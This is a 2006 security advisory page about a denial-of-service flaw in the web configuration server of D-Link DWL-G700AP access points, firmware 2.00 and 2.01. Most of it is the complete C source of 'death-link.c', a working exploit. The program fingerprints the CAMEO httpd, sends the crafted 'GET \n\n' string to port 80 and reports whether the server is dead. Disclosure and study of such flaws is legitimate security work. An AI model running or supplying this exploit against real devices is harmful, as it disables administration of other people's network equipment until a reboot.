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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	D-Link DWL-G700AP httpd DoS 19 Feb. 2006    Summary "The DWL-G700AP is Wi-Fi IEEE 802.11g compliant, meaning that it can connect and interoperate with other 802.11g compatible wireless client devices. " By crafting a special HTTP GET string, attackers can DoS the D-Link DWL-G700A and cause the HTTP server to crash.   Credit: The information has been provided by l0om. The original article can be found at: http://www.securityfocus.com/archive/1/425169/30/0/threaded Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * D-Link DWL-G700AP firmware version 2.00  * D-Link DWL-G700AP firmware version 2.01 The DWL-G700AP is an access point from D-Link with a configuration interface using HTTP service which is managed from a HTTPD called "CAMEO". This web server is very easy to DoS because all you have to do is send the AP the following string: "GET \n\n". Exploit: /*                  death-link.c                  ------------------------                  written by l0om                                  WWW.EXCLUDED.ORG                  ------------------------                  exploit tested on firmware: v2.00 and the latest v2.01                  remote DoS exploit for the CAMEO-httpd which is running on the D-Link                  Accesspoint DWL-G700AP. After executing this the accesspoint cannot be                  configured anymore because the only way to administrate the AP is the                  administration with your browser. you have to reboot the box to get the                  httpd started again.                  have phun!                  // some greetings                  maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,                  mattball, molke, murfie, vy99                  excluded.org people, IT31 people                  // the guys who made exploiting possible with buying this AP                  joerres, hermanns, schubert */                   #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <sys/socket.h> #define DOSSTRING "GET \n\n" #define TARGET "CAMEO-httpd" #define DESTPORT 80 int alive(char *ip); int check_httpd(char *ip); void help(void); void header(void); int DoS(char *ip); int main(int argc, char **argv) {                  int fd, i, check = 0;                  char *ip = NULL;                  header();                  if(argc > 1)                                  for(i = 1; i < argc; i++)                                                  if(argv[i][0] == '-')                                                                  switch(argv[i][1]) {                                                                                  case 'o':                                                                                                  check = 2;                                                                                                  break;                                                                                  case 'c':                                                                                                  check = 1;                                                                                                  break;                                                                                  case 'h':                                                                                                  help();                                                                                                  break;                                                                                  default:                                                                                                  printf("\t>> %s << unknown option\n",argv[i]);                                                                                                  exit(-1);                                                                  }                                                  else ip = argv[i];                  if(ip == NULL) help();                  if(check) {                                  printf("\tchecking target... "); fflush(stdout);                                  i = check_httpd(ip);                                  if(i <= 0) {                                                  printf("faild! ");                                                  if(!i) printf("invalid target webserver\n");                                                  else printf("webserver already dead?\n");                                                  exit(-1);                                  }                                  else printf("done! valid victim detected\n");                                  if(check == 2) return 0;                  }                  printf("\tsending DoS... "); fflush(stdout);                  if(DoS(ip) <= 0) {                                  printf("faild!\n");                                  return -1;                  } else printf("done!\n");                  sleep(1);                  printf("\tchecking webserver status... "); fflush(stdout);                  if(!alive(ip)) printf("%s DEAD\n",TARGET);                  else printf("%s on %s is still alive :( \n",TARGET,ip);                  return 0; } int check_httpd(char *ip) {                  int sockfd, nbytes, len, i = 0;                  char buf[500], pattern[] = TARGET, *ptr;                  struct sockaddr_in servaddr;                  if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {                                  perror("socket");                                  exit(-1);                  }                  servaddr.sin_family = AF_INET;                  servaddr.sin_port = htons(DESTPORT);                  servaddr.sin_addr.s_addr = inet_addr(ip);                  if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)                                  return -1;                                                    if(!write(sockfd, "GET / HTTP/1.0\n\n", 16))                                  return 0;                  else nbytes = read(sockfd, buf, 500);                                    len = strlen(pattern);                  ptr = buf;                  while(nbytes--) {                                  if(*ptr == pattern[i])                                                  i++;                                  else i = 0;                                  if(i == len) return 1;                                  else ptr++;                  }                  return 0; } int alive(char *ip) {                  int sockfd, nbytes, len, i = 0;                  char buf[500], pattern[] = TARGET, *ptr;                  struct sockaddr_in servaddr;                  if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {                                  perror("socket");                                  exit(-1);                  }                  servaddr.sin_family = AF_INET;                  servaddr.sin_port = htons(DESTPORT);                  servaddr.sin_addr.s_addr = inet_addr(ip);                  if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)                                  return 0;                  else return 1; } int DoS(char *ip) {                  int sockfd, nbytes, len, i = 0;                  char buf[500], pattern[] = TARGET, *ptr;                  struct sockaddr_in servaddr;                  if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {                                  perror("socket");                                  exit(-1);                  }                  servaddr.sin_family = AF_INET;                  servaddr.sin_port = htons(DESTPORT);                  servaddr.sin_addr.s_addr = inet_addr(ip);                  if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)                                  return 0;                  else return(write(sockfd, DOSSTRING, strlen(DOSSTRING))); } void help(void) {                  printf("\tdeath-link [options] <ip-address>\n");                  printf("\t-o: ONLY CHECK for valid target\n");                  printf("\t-c: check for valid target\n");                  printf("\t-h: help\n");                  exit(0); } void header(void) {                  printf("\tdeath-link - written by l0om\n");                  printf("\t WWW.EXCLUDED.ORG\n");                  printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET); } /* EoF */  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles HP Data Protector LogBackupLocationStatus SQL Injection Vulnerabilty InduSoft WebStudio Unauthenticated Operations Code Execution Vulnerabilityy InduSoft WebStudio CEServer Operation 0x15 Code Execution Vulnerability HP Data Protector Notebook Extension RequestCopy SQL Injection Vulnerabilty HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty HP Data Protector Notebook Extension GetPolicies SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability HP Data Protector Notebook Extension LogClientHealth SQL Injection Vulnerabilty HP Data Protector Notebook Extension LogCopyOperation SQL Injection Vulnerabilty HP Data Protector Notebook Extension FinishedCopy SQL Injection Vulnerabilty Novell ZENWorks Software Packaging ISGrid.Grid2.1 Text Parameter Code Execution Vulnerabilit Adobe Reader BMP Image RLE Decoding Code Execution Vulnerability Apple QuickTime H264 Matrix Conversion Code Execution Vulnerability Apple QuickTime FLC Delta Decompression Code Execution Vulnerability Apple Quicktime PnPixPat PatType 3 Parsing Code Execution Vulnerability  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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